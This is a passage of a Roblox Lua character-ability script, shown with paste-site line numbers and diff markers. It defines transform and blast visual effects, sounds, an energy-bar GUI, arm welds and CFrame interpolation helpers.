		expart2.Transparency = expart2.Transparency + 0.0125
1393
                value = 0.25
1394
                end
1395
		wait()
1396
	end
1397
  plode.Parent = nil
1398
	expart.Parent = nil
1399
	expart2.Parent = nil
1400
	expld.Parent = nil
1401
end
1402
local Ultramode = false
1403
1404
function Transform()
1405
  if basiccooldown >= 5 then
1406
  hum.WalkSpeed = 0
1407
  local sparta = Instance.new("Part",workspace)
1408
local msher = Instance.new("SpecialMesh",sparta)
1409
msher.MeshType = "Sphere"
1410
msher.Scale = vt(1,1,1)
1411
wit = BrickColor.new("Really black").Color
1412
local glowz = Instance.new("ParticleEmitter")
1413
glowz.LightEmission = 1
1414
glowz.Parent = sparta
1415
glowz.Texture = "rbxassetid://284205403"
1416
glowz.Color = ColorSequence.new(wit)
1417
glowz.Size = NumberSequence.new(15)
1418
glowz.Speed = NumberRange.new(100,250)
1419
glowz.LockedToPart = false
1420
glowz.Transparency = NumberSequence.new(0.75)
1421
glowz.RotSpeed = NumberRange.new(-2000,2000)
1422
glowz.Lifetime = NumberRange.new(1)
1423
glowz.Rate = 50000
1424
glowz.VelocitySpread = 9001
1425
  local sa2 = Instance.new("Sound",sparta)
1426
  sa2.SoundId = "rbxassetid://93724183"
1427
  sa2.Pitch = 0.5
1428
  sa2.Volume = 5
1429
  sa2.Looped = false
1430
  sa2:Play()
1431
  local saz2 = Instance.new("Sound",sparta)
1432
  saz2.SoundId = "rbxassetid://199145659"
1433
  saz2.Pitch = 0.45
1434
  saz2.Volume = 5*2
1435
  saz2.Looped = false
1436
local plode = Instance.new("Sound",sparta)
1437
  plode.SoundId = "rbxassetid://153274423"
1438
  plode.Volume = 5
1439
  plode.Pitch = 1
1440
  plode.Looped = false
1441
local ploder = Instance.new("Sound",sparta)
1442
  ploder.SoundId = "rbxassetid://130972023"
1443
  ploder.Volume = 5
1444
  ploder.Pitch = 1
1445
  ploder.Looped = false
1446
  sparta.Size = vt(1,1,1)
1447
  sparta.BrickColor = BrickColor.new("Really black")
1448
  sparta.Material = "Neon"
1449
  sparta.Transparency = 0
1450
  sparta.Anchored = true
1451
  sparta.CanCollide = false
1452
  sparta.CFrame = tors.CFrame
1453
  sparta.Rotation = vt(0,0,0)
1454
  local value2 = 2
1455
  for i = 0, 24 do
1456
  value2 = value2 - 0.065
1457
  msher.Scale = msher.Scale + vt(value2,value2,value2)
1458
  wait()
1459
  end
1460
  for i = 0, 10 do
1461
  value2 = value2 + 0.06575
1462
  msher.Scale = msher.Scale + vt(value2,value2,value2)
1463
  wait()
1464
  end
1465
  for i = 0, 10 do
1466
  value2 = value2 - 0.2
1467
  msher.Scale = msher.Scale + vt(value2,value2,value2)
1468
  wait()
1469
  end
1470
  for i = 0, 10 do
1471
  value2 = value2 + 0.275
1472
  msher.Scale = msher.Scale + vt(value2,value2,value2)
1473
  wait()
1474
  end
1475
  for i = 0, 10 do
1476
  value2 = value2 - 0.4
1477
  msher.Scale = msher.Scale + vt(value2,value2,value2)
1478
  wait()
1479
  end
1480
  for i = 0, 10 do
1481
  value2 = value2 + 0.475
1482
  msher.Scale = msher.Scale + vt(value2,value2,value2)
1483
  wait()
1484
  end
1485
  for i = 0, 10 do
1486
  value2 = value2 - 0.6
1487
  msher.Scale = msher.Scale + vt(value2,value2,value2)
1488
  wait()
1489
  end
1490
  for i = 0, 10 do
1491
  value2 = value2 + 0.675
1492
  msher.Scale = msher.Scale + vt(value2,value2,value2)
1493
  wait()
1494
  end
1495
  for i = 0, 10 do
1496
  value2 = value2 - 0.7
1497
  msher.Scale = msher.Scale + vt(value2,value2,value2)
1498
  wait()
1499
  end
1500
  for i = 0, 10 do
1501
  value2 = value2 + 0.775
1502
  msher.Scale = msher.Scale + vt(value2,value2,value2)
1503
  wait()
1504
  end
1505
  saz2:Play()
1506
  wait(2.75)
1507
  plode:Play() 
1508
  ploder:Play()
1509
  Ultramode = true
1510
  for i = 0, 75 do
1511
  value2 = value2 - 0.0575
1512
  glowz.Rate = 0
1513
  sparta.Transparency = sparta.Transparency + 0.025
1514
  msher.Scale = msher.Scale + vt(value2,value2,value2)
1515
  wait()
1516
  end
1517
  hum.WalkSpeed = 16
1518
  sparta:Destroy()
1519
  end
1520
end
1521
1522
1523
function Blaze2()
1524
if ultcooldown >= 30 then
1525
local sloc = Instance.new("Part",workspace)
1526
local msh = Instance.new("SpecialMesh",sloc)
1527
msh.MeshType = "Sphere"
1528
sloc.Size = vt(1,1,1)
1529
sloc.Transparency = 1
1530
sloc.BrickColor = tors.BrickColor
1531
sloc.Position = hed.Position + vt(0,0.1,0)
1532
sloc.CanCollide = false
1533
sloc.Shape = "Ball"
1534
sloc.Anchored = true
1535
sloc.Material = "Neon"
1536
  local s = Instance.new("Sound",char)
1537
  s.SoundId = "rbxassetid://289315275"
1538
  s.Pitch = 1
1539
  s.Volume = 2.75
1540
  s.Looped = false
1541
  s:Play()
1542
  local s2 = Instance.new("Sound",char)
1543
  s2.SoundId = "rbxassetid://671759140"
1544
  s2.Pitch = 0.425
1545
  s2.Volume = 1
1546
  s2.Looped = false
1547
  s2:Play()
1548
local val = 0.65*5
1549
for i = 0 , 75 do
1550
sloc.Transparency = sloc.Transparency - 0.035
1551
msh.Scale = msh.Scale + vt(val,val,val)
1552
val = val - 0.0075*5
1553
wait()
1554
end
1555
wait(2)
1556
  local sen = Instance.new("Sound",char)
1557
  sen.SoundId = "rbxassetid://289315275"
1558
  sen.Pitch = 1
1559
  sen.Volume = 2.75
1560
  sen.Looped = false
1561
  sen:Play()
1562
  local tick = Instance.new("Sound",char)
1563
  tick.SoundId = "rbxassetid://446876721"
1564
  tick.Volume = 2.5
1565
  tick.Pitch = 0.5
1566
  tick:Play()
1567
msh.Scale = msh.Scale - vt(1,1,1)
1568
sloc.Transparency = sloc.Transparency + 0.015
1569
local spart = Instance.new("Part",workspace)
1570
local msh2 = Instance.new("SpecialMesh",spart)
1571
msh2.MeshType = "Sphere"
1572
spart.Size = vt(2,2,2)
1573
spart.Shape = "Ball"
1574
spart.BrickColor = tors.BrickColor
1575
spart.Material = "Neon"
1576
spart.Transparency = 0
1577
spart.Anchored = false
1578
msh2.Scale = msh.Scale/2
1579
spart.Rotation = hed.Rotation
1580
spart.CanCollide = false
1581
spart.Position = sloc.Position + vt(math.random(-0,0),math.random(-0,0),math.random(-0,0))
1582
  local bv = Instance.new("BodyVelocity")
1583
  bv.maxForce = Vector3.new(1e9, 1e9, 1e9)
1584
  bv.velocity = mouse.Hit.lookVector * 125
1585
  bv.Parent = spart
1586
sloc:Destroy()
1587
  wait(0.00001)
1588
  pewdiepie=spart.Touched:connect(function(hit)
1589
  ExplodeMassen(100,spart)
1590
  end)
1591
wait(5)
1592
sloc:Destroy()
1593
tick:Destroy()
1594
s:Destroy()
1595
sen:Destroy()
1596
s2:Destroy()
1597
end
1598
if ultcooldown < 1 then
1599
for i = 0, 29 do
1600
ultcooldown = ultcooldown + 1
1601
wait(1)
1602
end
1603
end
1604
end
1605
1606
function Blaze()
1607
if ultcooldown >= 30 then
1608
 local ff = Instance.new("ForceField",char)
1609
  local s = Instance.new("Sound",char)
1610
  s.SoundId = "rbxassetid://289315275"
1611
  s.Pitch = 1
1612
  s.Volume = 2.75
1613
  s.Looped = false
1614
  s:Play()
1615
  local s2 = Instance.new("Sound",char)
1616
  s2.SoundId = "rbxassetid://671759140"
1617
  s2.Pitch = 0.425
1618
  s2.Volume = 1
1619
  s2.Looped = false
1620
  s2:Play()
1621
  local spart = boll:Clone()
1622
  local spart2 = shur:Clone()
1623
  local msh = Instance.new("SpecialMesh",spart)
1624
  msh.MeshType = "Sphere"
1625
  spart.Parent = workspace
1626
  spart.Transparency = 1
1627
  spart.Anchored = true
1628
  spart.Position = tors.Position + vt(0,1,0)
1629
  spart.Size = spart.Size + vt(1,1,1)
1630
  for i = 0, 10 do
1631
  spart.BrickColor = tors.BrickColor
1632
  spart.Transparency = spart.Transparency + -0.05
1633
  spart.Position = tors.Position + vt(0,1,0)
1634
  spart.Size = spart.Size + vt(3,3,3)
1635
  wait(0)
1636
  end
1637
  for i = 0, 5 do
1638
  spart.BrickColor = tors.BrickColor
1639
  spart.Transparency = spart.Transparency + -0.05
1640
  spart.Position = tors.Position + vt(0,1,0)
1641
  spart.Size = spart.Size + vt(2.5,2.5,2.5)
1642
  wait(0)
1643
  end
1644
  for i = 0, 5 do
1645
  spart.BrickColor = tors.BrickColor
1646
  spart.Transparency = spart.Transparency + -0.05
1647
  spart.Position = tors.Position + vt(0,1,0)
1648
  spart.Size = spart.Size + vt(1,1,1)
1649
  wait(0)
1650
  end
1651
  for i = 0, 10 do
1652
  spart.BrickColor = tors.BrickColor
1653
  wait(0.1)
1654
  end
1655
  for i = 0, 20 do
1656
  spart.BrickColor = tors.BrickColor
1657
  spart.Transparency = spart.Transparency + 0.05
1658
  spart.Position = tors.Position + vt(0,1,0)
1659
  spart.Size = spart.Size + vt(-5,-5,-5)
1660
  wait(0)
1661
  end
1662
  local sp = spart:Clone()
1663
  sp.Parent = workspace
1664
  sp.Position = spart.Position
1665
  local sp2 = sp:Clone()
1666
  sp2.Parent = workspace
1667
  sp2.Transparency = 0.5
1668
  local msh2 = sp2.Mesh
1669
  msh2.Scale = vt(1250,1250,1250)
1670
wit = tors.BrickColor.Color
1671
local glowz = Instance.new("ParticleEmitter")
1672
glowz.LightEmission = 0.75
1673
glowz.Parent = sp2
1674
glowz.Texture = "rbxassetid://284205403"
1675
glowz.Color = ColorSequence.new(wit)
1676
glowz.Size = NumberSequence.new(50)
1677
glowz.Speed = NumberRange.new(425,450)
1678
glowz.LockedToPart = false
1679
glowz.Transparency = NumberSequence.new(0.75)
1680
glowz.RotSpeed = NumberRange.new(-2000,2000)
1681
glowz.Lifetime = NumberRange.new(1)
1682
glowz.Rate = 50000
1683
glowz.VelocitySpread = 9001
1684
  spart2.Parent = workspace
1685
  spart2.Mesh.Scale = vt(25, 90000, 25)
1686
  spart2.Position = tors.Position
1687
local seen = Instance.new("Sound",char)
1688
seen.SoundId = "rbxassetid://445796828"
1689
seen.Pitch = 0.75
1690
seen.Volume = 1.75
1691
seen.Looped = true
1692
seen:Play()
1693
local sen = Instance.new("Sound",char)
1694
sen.SoundId = "rbxassetid://289315275"
1695
sen.Pitch = 0.98
1696
sen.Volume = 2.65
1697
sen.Looped = false
1698
sen:Play()
1699
local tick = Instance.new("Sound",char)
1700
tick.SoundId = "rbxassetid://446876721"
1701
tick.Volume = 5
1702
tick.Pitch = 0.5
1703
tick:Play()
1704
local seena = Instance.new("Sound",char)
1705
seena.SoundId = "rbxassetid://300916057"
1706
seena.Pitch = 0.5
1707
seena.Volume = 2.5
1708
seena.Looped = false
1709
seena:Play()
1710
spart.Transparency = 0
1711
  ExplodeMass(1000,sp)
1712
  for i = 0, 450 do
1713
  spart2.Position = spart.Position + vt(math.random(-1,1),0,math.random(-1,1))
1714
  sp2.Position = spart.Position
1715
  spart2.Mesh.Scale = spart2.Mesh.Scale + vt(0.035, 0, 0.035)
1716
  spart2.BrickColor = tors.BrickColor
1717
  msh2.Scale = msh2.Scale + vt(3.5,3.5,3.5)
1718
  msh.Scale = msh.Scale + vt(50,50,50)
1719
  sp2.Transparency = sp2.Transparency + 0.0005
1720
  spart.Transparency = spart.Transparency + 0.0025
1721
  spart2.Transparency = spart2.Transparency + 0.0025
1722
  wait(0)
1723
  end
1724
  spart:Destroy()
1725
  seena:Destroy()
1726
  ff:Destroy()
1727
  seen:Destroy()
1728
  sen:Destroy()
1729
  tick:Destroy()
1730
  spart2:Destroy()
1731
  s:Destroy()
1732
  sp:Destroy()
1733
  sp2:Destroy()
1734
  s2:Destroy()
1735
end
1736
if ultcooldown < 1 then
1737
for i = 0, 29 do
1738
ultcooldown = ultcooldown + 1
1739
wait(1)
1740
end
1741
end
1742
end
1743
1744
-- sin
1745
Player=game:GetService("Players").LocalPlayer
1746
Character=Player.Character 
1747
PlayerGui=Player.PlayerGui 
1748
Backpack=Player.Backpack 
1749
Torso=Character.Torso 
1750
Head=Character.Head 
1751
Humanoid=Character.Humanoid
1752
m=Instance.new('Model',Character)
1753
LeftArm=Character["Left Arm"] 
1754
LeftLeg=Character["Left Leg"] 
1755
RightArm=Character["Right Arm"] 
1756
RightLeg=Character["Right Leg"] 
1757
LS=Torso["Left Shoulder"] 
1758
LH=Torso["Left Hip"] 
1759
RS=Torso["Right Shoulder"] 
1760
RH=Torso["Right Hip"] 
1761
Face = Head.face
1762
Neck=Torso.Neck
1763
it=Instance.new
1764
attacktype=1
1765
vt=Vector3.new
1766
cf=CFrame.new
1767
euler=CFrame.fromEulerAnglesXYZ
1768
angles=CFrame.Angles
1769
cloaked=false
1770
necko=cf(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
1771
necko2=cf(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
1772
LHC0=cf(-1,-1,0,-0,-0,-1,0,1,0,1,0,0)
1773
LHC1=cf(-0.5,1,0,-0,-0,-1,0,1,0,1,0,0)
1774
RHC0=cf(1,-1,0,0,0,1,0,1,0,-1,-0,-0)
1775
RHC1=cf(0.5,1,0,0,0,1,0,1,0,-1,-0,-0)
1776
RootPart=Character.HumanoidRootPart
1777
RootJoint=RootPart.RootJoint
1778
RootCF=euler(-1.57,0,3.14)
1779
attack = false 
1780
attackdebounce = false 
1781
deb=false
1782
equipped=true
1783
hand=false
1784
MMouse=nil
1785
combo=0
1786
mana=0
1787
trispeed=1
1788
pathtrans=.7
1789
attackmode='none'
1790-
lightcolor='Bright blue'
1790+
1791
local Anim="Idle"
1792-
local Color1=BrickColor.new("Bright blue")
1792+
1793
local gun=false
1794
local shoot=false
1795
player=nil 
1796
cloak=false
1797
lightcolor='New Yeller'
1798
1799
local Color1=BrickColor.new("New Yeller")
1800
 
1801
local fengui=it("GuiMain") 
1802
fengui.Parent=Player.PlayerGui 
1803
fengui.Name="WeaponGUI" 
1804
local fenframe=it("Frame") 
1805
fenframe.Parent=fengui
1806
fenframe.BackgroundColor3=Color3.new(255,255,255) 
1807
fenframe.BackgroundTransparency=1 
1808
fenframe.BorderColor3=Color3.new(17,17,17) 
1809
fenframe.Size=UDim2.new(0.0500000007, 0, 0.100000001, 0)
1810
fenframe.Position=UDim2.new(0.4,0,0.1,0)
1811
local fenbarmana1=it("TextLabel") 
1812
fenbarmana1.Parent=fenframe 
1813
fenbarmana1.Text=" " 
1814
fenbarmana1.BackgroundTransparency=0 
1815
fenbarmana1.BackgroundColor3=Color3.new(0,0,0) 
1816
fenbarmana1.SizeConstraint="RelativeXY" 
1817
fenbarmana1.TextXAlignment="Center" 
1818
fenbarmana1.TextYAlignment="Center" 
1819
fenbarmana1.Position=UDim2.new(0,0,0,0)
1820
fenbarmana1.Size=UDim2.new(4,0,0.2,0)
1821
local fenbarmana2=it("TextLabel") 
1822
fenbarmana2.Parent=fenframe 
1823
fenbarmana2.Text=" " 
1824
fenbarmana2.BackgroundTransparency=0 
1825
fenbarmana2.BackgroundColor3=Torso.Color
1826
fenbarmana2.SizeConstraint="RelativeXY" 
1827
fenbarmana2.TextXAlignment="Center" 
1828
fenbarmana2.TextYAlignment="Center" 
1829
fenbarmana2.Position=UDim2.new(0,0,0,0)
1830
fenbarmana2.Size=UDim2.new(4*mana/100,0,0.2,0)
1831
local fenbarmana3=it("TextLabel") 
1832
fenbarmana3.Parent=fenframe 
1833
fenbarmana3.Text=" " 
1834
fenbarmana3.BackgroundTransparency=0 
1835
fenbarmana3.BackgroundColor3=Color3.new(Col1,Col2,Col3)
1836
fenbarmana3.SizeConstraint="RelativeXY" 
1837
fenbarmana3.TextXAlignment="Center" 
1838
fenbarmana3.TextYAlignment="Center" 
1839
fenbarmana3.Position=UDim2.new(0,0,0,0)
1840
fenbarmana3.Size=UDim2.new(0,0,0.2,0)
1841
local fenbarmana4=it("TextLabel") 
1842
fenbarmana4.Parent=fenframe 
1843
fenbarmana4.Text="Energy("..mana..")"
1844
fenbarmana4.BackgroundTransparency=1 
1845
fenbarmana4.BackgroundColor3=Color3.new(0,0,0) 
1846
fenbarmana4.SizeConstraint="RelativeXY" 
1847
fenbarmana4.TextXAlignment="Center" 
1848
fenbarmana4.TextYAlignment="Center" 
1849
fenbarmana4.Position=UDim2.new(0,0,-0.3,0)
1850
fenbarmana4.Size=UDim2.new(4,0,0.2,0)
1851
fenbarmana4.FontSize="Size9"
1852
fenbarmana4.TextStrokeTransparency=0
1853
fenbarmana4.TextColor=BrickColor.new("Red")
1854
1855
mouse=Player:GetMouse()
1856-
TorsoColor=BrickColor.new("Bright blue")
1856+
1857
RSH, LSH=nil, nil 
1858
--welds 
1859
RW, LW=Instance.new("Weld"), Instance.new("Weld") 
1860
RW.Name="Right Shoulder" LW.Name="Left Shoulder"
1861
LH=Torso["Left Hip"]
1862
RH=Torso["Right Hip"]
1863
TorsoColor=BrickColor.new("New Yeller")
1864
function NoOutline(Part)
1865
Part.TopSurface,Part.BottomSurface,Part.LeftSurface,Part.RightSurface,Part.FrontSurface,Part.BackSurface = 10,10,10,10,10,10
1866
end
1867
player=Player 
1868
ch=Character
1869
RSH=ch.Torso["Right Shoulder"] 
1870
LSH=ch.Torso["Left Shoulder"] 
1871
-- 
1872
RSH.Parent=nil 
1873
LSH.Parent=nil 
1874
-- 
1875
RW.Name="Right Shoulder"
1876
RW.Part0=ch.Torso 
1877
RW.C0=cf(1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.3, 0, -0.5) 
1878
RW.C1=cf(0, 0.5, 0) 
1879
RW.Part1=ch["Right Arm"] 
1880
RW.Parent=ch.Torso 
1881
-- 
1882
LW.Name="Left Shoulder"
1883
LW.Part0=ch.Torso 
1884
LW.C0=cf(-1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.7, 0, 0.8) 
1885
LW.C1=cf(0, 0.5, 0) 
1886
LW.Part1=ch["Left Arm"] 
1887
LW.Parent=ch.Torso 
1888
1889
1890
function part(formfactor,parent,reflectance,transparency,brickcolor,name,size)
1891
local fp=it("Part")
1892
fp.formFactor=formfactor 
1893
fp.Parent=parent
1894
fp.Reflectance=reflectance
1895
fp.Transparency=transparency
1896
fp.CanCollide=false 
1897
fp.Locked=true
1898
fp.BrickColor=brickcolor
1899
fp.Name=name
1900
fp.Size=size
1901
fp.Position=Torso.Position 
1902
NoOutline(fp)
1903
fp.Material="Neon"
1904
fp:BreakJoints()
1905
return fp 
1906
end 
1907
 
1908
function mesh(Mesh,part,meshtype,meshid,offset,scale)
1909
local mesh=it(Mesh) 
1910
mesh.Parent=part
1911
if Mesh=="SpecialMesh" then
1912
mesh.MeshType=meshtype
1913
if meshid~="nil" then
1914
mesh.MeshId="http://www.roblox.com/asset/?id="..meshid
1915
end
1916
end
1917
mesh.Offset=offset
1918
mesh.Scale=scale
1919
return mesh
1920
end
1921
 
1922
function weld(parent,part0,part1,c0)
1923
local weld=it("Weld") 
1924-
local Color1=BrickColor.new("Bright blue")
1924+
1925
weld.Part0=part0 
1926
weld.Part1=part1 
1927
weld.C0=c0
1928
return weld
1929
end
1930
 
1931
local Color1=BrickColor.new("New Yeller")
1932
1933
local bodvel=Instance.new("BodyVelocity")
1934
local bg=Instance.new("BodyGyro")
1935
1936
function swait(num)
1937
if num==0 or num==nil then
1938
game:service'RunService'.Stepped:wait(0)
1939
else
1940
for i=0,num do
1941
game:service'RunService'.Stepped:wait(0)
1942
end
1943
end
1944
end
1945
 
1946
 
1947
so = function(id,par,vol,pit) 
1948
coroutine.resume(coroutine.create(function()
1949
local sou = Instance.new("Sound",par or workspace)
1950
sou.Volume=vol
1951
sou.Pitch=pit or 1
1952
sou.SoundId=id
1953
swait() 
1954
sou:play() 
1955
game:GetService("Debris"):AddItem(sou,6)
1956
end))
1957
end
1958
 
1959
function clerp(a,b,t) 
1960
local qa = {QuaternionFromCFrame(a)}
1961
local qb = {QuaternionFromCFrame(b)} 
1962
local ax, ay, az = a.x, a.y, a.z 
1963
local bx, by, bz = b.x, b.y, b.z
1964
local _t = 1-t
1965
return QuaternionToCFrame(_t*ax + t*bx, _t*ay + t*by, _t*az + t*bz,QuaternionSlerp(qa, qb, t)) 
1966
end 
1967
 
1968
function QuaternionFromCFrame(cf) 
1969
local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components() 
1970
local trace = m00 + m11 + m22 
1971
if trace > 0 then 
1972
local s = math.sqrt(1 + trace) 
1973
local recip = 0.5/s 
1974
return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5 
1975
else 
1976
local i = 0 
1977
if m11 > m00 then
1978
i = 1
1979
end
1980
if m22 > (i == 0 and m00 or m11) then 
1981
i = 2 
1982
end 
1983
if i == 0 then 
1984
local s = math.sqrt(m00-m11-m22+1) 
1985
local recip = 0.5/s 
1986
return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip 
1987
elseif i == 1 then 
1988
local s = math.sqrt(m11-m22-m00+1) 
1989
local recip = 0.5/s 
1990
return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip 
1991
elseif i == 2 then 
1992
local s = math.sqrt(m22-m00-m11+1) 
1993
local recip = 0.5/s return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip 
1994
end 
1995
end 
1996
end
1997
 
1998
function QuaternionToCFrame(px, py, pz, x, y, z, w) 
1999
local xs, ys, zs = x + x, y + y, z + z 
2000
local wx, wy, wz = w*xs, w*ys, w*zs 
2001
local xx = x*xs 
2002
local xy = x*ys 
2003
local xz = x*zs 
2004
local yy = y*ys 
2005
local yz = y*zs 
2006
local zz = z*zs 
2007
return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy)) 
2008
end
2009
 
2010
function QuaternionSlerp(a, b, t) 
2011
local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4] 
2012
local startInterp, finishInterp; 
2013
if cosTheta >= 0.0001 then 
2014
if (1 - cosTheta) > 0.0001 then 
2015
local theta = math.acos(cosTheta) 
2016
local invSinTheta = 1/math.sin(theta) 
2017
startInterp = math.sin((1-t)*theta)*invSinTheta 
2018
finishInterp = math.sin(t*theta)*invSinTheta  
2019
else 
2020
startInterp = 1-t 
2021
finishInterp = t 
2022
end 
2023
else 
2024
if (1+cosTheta) > 0.0001 then 
2025
local theta = math.acos(-cosTheta) 
2026
local invSinTheta = 1/math.sin(theta) 
2027
startInterp = math.sin((t-1)*theta)*invSinTheta 
2028
finishInterp = math.sin(t*theta)*invSinTheta 
2029
else 
2030
startInterp = t-1 
2031
finishInterp = t 
2032
end 
2033
end 
2034
return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp 
2035
end
2036
2037
function rayCast(Pos, Dir, Max, Ignore)  -- Origin Position , Direction, MaxDistance , IgnoreDescendants
2038
return game:service("Workspace"):FindPartOnRay(Ray.new(Pos, Dir.unit * (Max or 999.999)), Ignore) 
2039
end 
2040
2041
function SkullEffect(brickcolor,cframe,x1,y1,z1,delay)
2042
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2043
prt.Anchored=true
2044
prt.CFrame=cframe
2045
local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=4770583",vt(0,0,0),vt(x1,y1,z1))
2046
--http://www.roblox.com/asset/?id=4770560
2047
game:GetService("Debris"):AddItem(prt,2)
2048
CF=prt.CFrame
2049
coroutine.resume(coroutine.create(function(Part,Mesh,TehCF) 
2050
for i=0,1,0.2 do
2051
wait()
2052
Part.CFrame=CF*cf(0,0,-0.4)
2053
end
2054
for i=0,1,delay do
2055
wait()
2056
--Part.CFrame=CF*cf((math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5)
2057
Mesh.Scale=Mesh.Scale
2058
end
2059
for i=0,1,0.1 do
2060
wait()
2061
Part.Transparency=i
2062
end
2063
Part.Parent=nil
2064
end),prt,msh,CF)
2065
end
2066
 
2067
function MagicBlock(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
2068
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2069
prt.Anchored=true
2070
prt.CFrame=cframe
2071
msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
2072
game:GetService("Debris"):AddItem(prt,5)
2073
coroutine.resume(coroutine.create(function(Part,Mesh) 
2074
for i=0,1,delay do
2075
wait()
2076
Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
2077
Part.Transparency=i
2078
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
2079
end
2080
Part.Parent=nil
2081
end),prt,msh)
2082
end
2083
 
2084
function MagicBlock2(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay)
2085
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2086
prt.Anchored=false
2087
prt.CFrame=cframe
2088
msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
2089
local wld=weld(prt,prt,Parent,cframe)
2090
game:GetService("Debris"):AddItem(prt,5)
2091
coroutine.resume(coroutine.create(function(Part,Mesh,Weld) 
2092
for i=0,1,delay do
2093
wait()
2094
Weld.C0=euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))*cframe
2095
--Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
2096
Part.Transparency=i
2097
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
2098
end
2099
Part.Parent=nil
2100
end),prt,msh,wld)
2101
end
2102
 
2103
function MagicBlock3(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay)
2104
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2105
prt.Anchored=false
2106
prt.CFrame=cframe
2107
msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
2108
local wld=weld(prt,prt,Parent,euler(0,0,0)*cf(0,0,0))
2109
game:GetService("Debris"):AddItem(prt,5)
2110
coroutine.resume(coroutine.create(function(Part,Mesh,Weld) 
2111
for i=0,1,delay do
2112
wait()
2113
Weld.C0=euler(i*20,0,0)
2114
--Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
2115
Part.Transparency=i
2116
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
2117
end
2118
Part.Parent=nil
2119
end),prt,msh,wld)
2120
end
2121
 
2122
function MagicCircle2(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
2123
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2124
prt.Anchored=true
2125
prt.CFrame=cframe
2126
local msh=mesh("CylinderMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
2127
game:GetService("Debris"):AddItem(prt,2)
2128
coroutine.resume(coroutine.create(function(Part,Mesh) 
2129
for i=0,1,delay do
2130
wait()
2131
Part.CFrame=Part.CFrame
2132
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
2133
local prt2=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2134
prt2.Anchored=true
2135
prt2.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
2136
local msh2=mesh("SpecialMesh",prt2,"Sphere","",vt(0,0,0),vt(0.5,0.5,0.5))
2137
game:GetService("Debris"):AddItem(prt2,2)
2138
coroutine.resume(coroutine.create(function(Part,Mesh) 
2139
for i=0,1,0.1 do
2140
wait()
2141
Part.CFrame=Part.CFrame*cf(0,0.5,0)
2142
end
2143
Part.Parent=nil
2144
end),prt2,msh2)
2145
end
2146
for i=0,1,delay*2 do
2147
wait()
2148
Part.CFrame=Part.CFrame
2149
Mesh.Scale=vt((x1+x3)-(x1+x3)*i,(y1+y3)-(y1+y3)*i,(z1+z3)-(z1+z3)*i)
2150
end
2151
Part.Parent=nil
2152
end),prt,msh)
2153
end
2154
2155
function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
2156
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2157
prt.Anchored=true
2158
prt.CFrame=cframe
2159
local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
2160
game:GetService("Debris"):AddItem(prt,2)
2161
coroutine.resume(coroutine.create(function(Part,Mesh) 
2162
for i=0,1,delay do
2163
wait()
2164
Part.CFrame=Part.CFrame
2165
Part.Transparency=i
2166
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
2167
end
2168
Part.Parent=nil
2169
end),prt,msh)
2170
end
2171
 
2172
function MagicRing(brickcolor,cframe,x1,y1,z1,x2,y2,z2,x3,y3,z3)
2173
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2174
prt.Anchored=true
2175
prt.CFrame=cframe*euler(x2,y2,z2)
2176
--"http://www.roblox.com/asset/?id=168892465"
2177
local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=3270017",vt(0,0,0),vt(x1,y1,z1))
2178
game:GetService("Debris"):AddItem(prt,2)
2179
coroutine.resume(coroutine.create(function(Part,Mesh) 
2180
for i=0,1,0.03 do
2181
wait()
2182
Part.CFrame=Part.CFrame
2183
Part.Transparency=i
2184
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
2185
end
